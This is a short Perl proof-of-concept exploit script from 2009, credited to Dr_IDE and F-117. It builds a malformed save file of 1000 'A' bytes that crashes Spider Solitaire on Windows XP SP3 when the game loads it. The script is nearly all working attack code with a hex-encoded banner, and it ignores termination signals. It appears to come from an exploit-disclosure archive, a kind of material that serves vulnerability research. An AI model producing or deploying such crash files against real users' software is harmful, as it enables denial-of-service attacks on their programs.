#!/usr/bin/perl

# Spider Solitare Local Save Game Crash PoC (XPSP3)
# Bug found by Dr_IDE
#
# Coded by Oscar Marques aka F-117.
# www.dunkelheit.com.br
# 29/10/09.
#
# Notes: This was previously reported as working on SP2
# It also will crash Spider Solitaire on SP3
#
# md5: 7644672d049290f0390d9c993c7d343d spider.sav

my $VERSAO = '0.1';

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

$buffer= "\x41" x 1000;

sub banner {
print ("\x53\x70\x69\x64\x65\x72\x20\x53\x6f\x6c\x69\x74\x61\x72\x65\x20\x4c\x6f\x63\x61\x6c\x20\x53\x61\x76\x65\x20\x47\x61\x6d\x65\x20\x43\x72\x61\x73\x68\x20\x50\x6f\x43\x20\x28\x58\x50\x53\x50\x33\x29\n\x43\x6f\x64\x65\x64\x20\x62\x79\x20\x46\x2d\x31\x31\x37\x2e\n\n");
}

# This needs to be in your My Documents it looks like the
# game is hard coded to pull the spider.sav from there.

{
banner();
open(FILE, ">spider.sav");
print FILE $buffer;
close(FILE); 
print("[+] File created successfully. Import it.\n");
}